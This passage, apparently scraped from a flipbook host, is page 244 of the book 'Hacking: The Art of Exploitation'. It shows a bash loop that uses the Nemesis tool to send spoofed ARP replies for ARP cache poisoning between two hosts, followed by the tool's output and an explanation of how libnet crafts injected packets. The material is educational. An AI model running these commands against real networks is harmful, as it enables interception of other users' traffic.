26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h<br />

00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M<br />

00:C0:F0:79:3D:30<br />

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h<br />

00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M<br />

00:50:18:00:0F:01<br />

> echo "Redirecting..."<br />

> sleep 10<br />

> done<br />

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)<br />

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30<br />

[E<strong>the</strong>rnet type] ARP (0x0806)<br />

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118<br />

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30<br />

[ARP opcode] Reply<br />

[ARP hardware fmt] E<strong>the</strong>rnet (1)<br />

[ARP proto format] IP (0x0800)<br />

[ARP protocol len] 6<br />

[ARP hardware len] 4<br />

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.<br />

ARP Packet Injected<br />

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)<br />

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01<br />

[E<strong>the</strong>rnet type] ARP (0x0806)<br />

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1<br />

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01<br />

[ARP opcode] Reply<br />

[ARP hardware fmt] E<strong>the</strong>rnet (1)<br />

[ARP proto format] IP (0x0800)<br />

[ARP protocol len] 6<br />

[ARP hardware len] 4<br />

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.<br />

ARP Packet Injected<br />

Redirecting...<br />

You can see how something as simple as Nemesis and <strong>the</strong> standard BASH<br />

shell can be used to quickly hack toge<strong>the</strong>r a network exploit. Nemesis uses a<br />

C library called libnet to craft spo<strong>of</strong>ed packets and inject <strong>the</strong>m. Similar to<br />

libpcap, this library uses raw sockets and evens out <strong>the</strong> inconsistencies between<br />

platforms with a standardized interface. libnet also provides several convenient<br />

functions for dealing with network packets, such as checksum generation.<br />

The libnet library provides a simple and uniform API to craft and inject<br />

network packets. It’s well documented and <strong>the</strong> functions have descriptive<br />

names. A high-level glance at <strong>the</strong> source code for Nemesis shows how easy it<br />

is to craft ARP packets using libnet. The source file nemesis-arp.c contains<br />

several functions for crafting and injecting ARP packets, using statically defined<br />

244 0x400

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!